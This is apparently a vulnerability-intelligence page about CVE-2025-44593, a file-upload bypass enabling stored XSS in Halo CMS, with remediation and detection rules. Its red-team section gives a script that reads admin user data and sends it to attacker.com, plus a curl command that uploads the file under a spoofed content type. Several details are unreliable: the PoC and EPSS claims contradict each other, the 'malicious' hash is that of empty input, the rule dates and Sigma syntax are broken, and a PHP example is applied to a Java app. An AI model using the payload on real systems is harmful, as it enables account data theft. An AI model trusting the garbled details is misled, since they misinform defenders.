☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-44593

CVE-2025-44593 Cross-Site Scripting in Halo
📅 PUBLISHED: 2025-09-09 00:00 UTC 🔄 UPDATED: 2026-09-23 20:39 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-44593 is a critical vulnerability in the Halo content management system (CMS) affecting versions prior to 2.20.13. The flaw allows an attacker to bypass file type detection mechanisms and upload arbitrary files, including executable (.exe) and HTML (.html) files. The upload of HTML files is particularly dangerous as it enables stored cross-site scripting (XSS) attacks, where malicious scripts are permanently embedded in the application and executed in the context of any user viewing the affected page. This vulnerability is classified as a file upload restriction bypass (CWE-434) and can lead to full account compromise, data theft, or further lateral movement within the network. The vendor has released a fix in version 2.20.13.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Halo is a Java-based open-source CMS. The vulnerability exists in the file upload handling logic, which is a core component of the application. While no specific NPM, PyPI, Go, or Ruby packages are directly affected, the risk to the software supply chain is significant. Organizations using Halo should immediately verify their version and apply the patch. The lack of a CVSS vector and EPSS score suggests limited public exploitation data, but the availability of a public proof-of-concept (POC) increases the risk of active attacks.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability characteristics, a reasonable estimated score would be:

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An attacker needs a valid user account with upload permissions.
  • User Interaction (UI): None (N) – No user action is required for exploitation.
  • Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
  • Confidentiality (C): High (H) – Stored XSS can lead to data theft.
  • Integrity (I): High (H) – Arbitrary file upload can modify system files.
  • Availability (A): Low (L) – Denial of service is possible but not primary.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
Estimated Score: 9.0 (Critical)

Threat Level: Critical. The combination of arbitrary file upload and stored XSS makes this a high-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Halo. The application attempts to validate uploaded files by checking their MIME type or file extension. However, the validation logic is flawed and can be bypassed using techniques such as:

  • Double extension: Uploading a file named malicious.html.exe may pass extension checks while the server interprets it as an HTML file.
  • Content-type manipulation: Modifying the Content-Type header in the HTTP request to a benign value (e.g., image/png) while the actual file content is HTML or executable.
  • Null byte injection: Using a null byte (%00) in the filename to truncate the extension check (e.g., file.php%00.png).

Once a malicious file is uploaded, it can be accessed directly via its URL. For HTML files, the stored XSS payload executes when any user visits the page, potentially stealing session cookies, redirecting to phishing sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

The following is a simplified representation of the vulnerable and patched code logic.

Vulnerable Code (Halo < 2.20.13):

// Vulnerable: Only checks file extension
public boolean isValidFile(String filename) {
    String extension = filename.substring(filename.lastIndexOf(".") + 1);
    List<String> allowedExtensions = Arrays.asList("jpg", "png", "gif", "pdf");
    return allowedExtensions.contains(extension.toLowerCase());
}

Patched Code (Halo >= 2.20.13):

// Patched: Validates MIME type and content
public boolean isValidFile(MultipartFile file) {
    String mimeType = file.getContentType();
    List<String> allowedMimeTypes = Arrays.asList("image/jpeg", "image/png", "image/gif", "application/pdf");
    if (!allowedMimeTypes.contains(mimeType)) {
        return false;
    }
    // Additional check: Verify file magic bytes
    byte[] header = new byte[4];
    file.getInputStream().read(header);
    if (!isValidMagicBytes(header, mimeType)) {
        return false;
    }
    return true;
}

The patched version performs both MIME type validation and content-based magic byte verification, making it significantly harder to bypass.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A valid user account on the Halo instance with file upload permissions.
  • Network access to the Halo web interface.

Step 1: Craft a malicious HTML file.

<html>
<body>
<script>
fetch('/api/admin/users', {credentials: 'include'})
  .then(r => r.json())
  .then(data => fetch('https://attacker.com/exfil', {method: 'POST', body: JSON.stringify(data)}));
</script>
</body>
</html>

Step 2: Upload the file with a manipulated request.

curl -X POST -F "file=@malicious.html;type=image/png" -F "description=test" http://target.halo/upload

Step 3: Access the uploaded file.

curl http://target.halo/uploads/malicious.html

Step 4: The XSS payload executes in the browser of any user viewing the file.

Blue Team (Detection & Response)

Detection:

  • Monitor for file uploads with suspicious MIME types (e.g., text/html or application/x-msdownload).
  • Alert on filenames containing double extensions or null bytes.
  • Review web server logs for requests to /uploads/ with non-image extensions.

Response:

  • Immediately isolate the affected Halo instance.
  • Review uploaded files for malicious content.
  • Rotate all user session tokens and API keys.
  • Apply the patch to version 2.20.13.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example malicious HTML)
  • Network Indicators:
    • Outbound connections to attacker.com or similar domains.
    • HTTP POST requests to /api/admin/users from unauthenticated contexts.
  • File System Indicators:
    • Unexpected .html or .exe files in the /uploads/ directory.
    • Files with double extensions (e.g., image.png.html).

Detection Engineering

YARA Rule

rule CVE_2025_44593_Malicious_Upload {
    meta:
        description = "Detects malicious HTML files uploaded via CVE-2025-44593"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $xss_payload = /<script>.*<\/script>/s
        $exe_header = { 4D 5A } // MZ header for .exe files
    condition:
        $xss_payload or $exe_header
}

Sigma Rule

title: CVE-2025-44593 File Upload Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to upload malicious files to Halo CMS
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        sc-status: 200
        cs-content-type: 'text/html' or 'application/x-msdownload'
    condition: selection
falsepositives:
    - Legitimate file uploads with correct MIME types
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-44593 - Halo File Upload Bypass"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"Content-Type|3a 20|text/html"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Halo to version 2.20.13 or later.
  2. Review uploaded files for any suspicious content and remove them.
  3. Invalidate all user sessions and force password resets.

Long-term Mitigations:

  • Implement a Web Application Firewall (WAF) rule to block file uploads with suspicious MIME types.
  • Enforce strict file extension whitelisting at the reverse proxy level.
  • Conduct regular security audits of file upload functionality.
  • Monitor for unusual file access patterns in web server logs.

Workaround (if patching is delayed):

  • Disable file upload functionality for non-admin users.
  • Manually inspect all uploaded files before they are served to users.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-44593/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.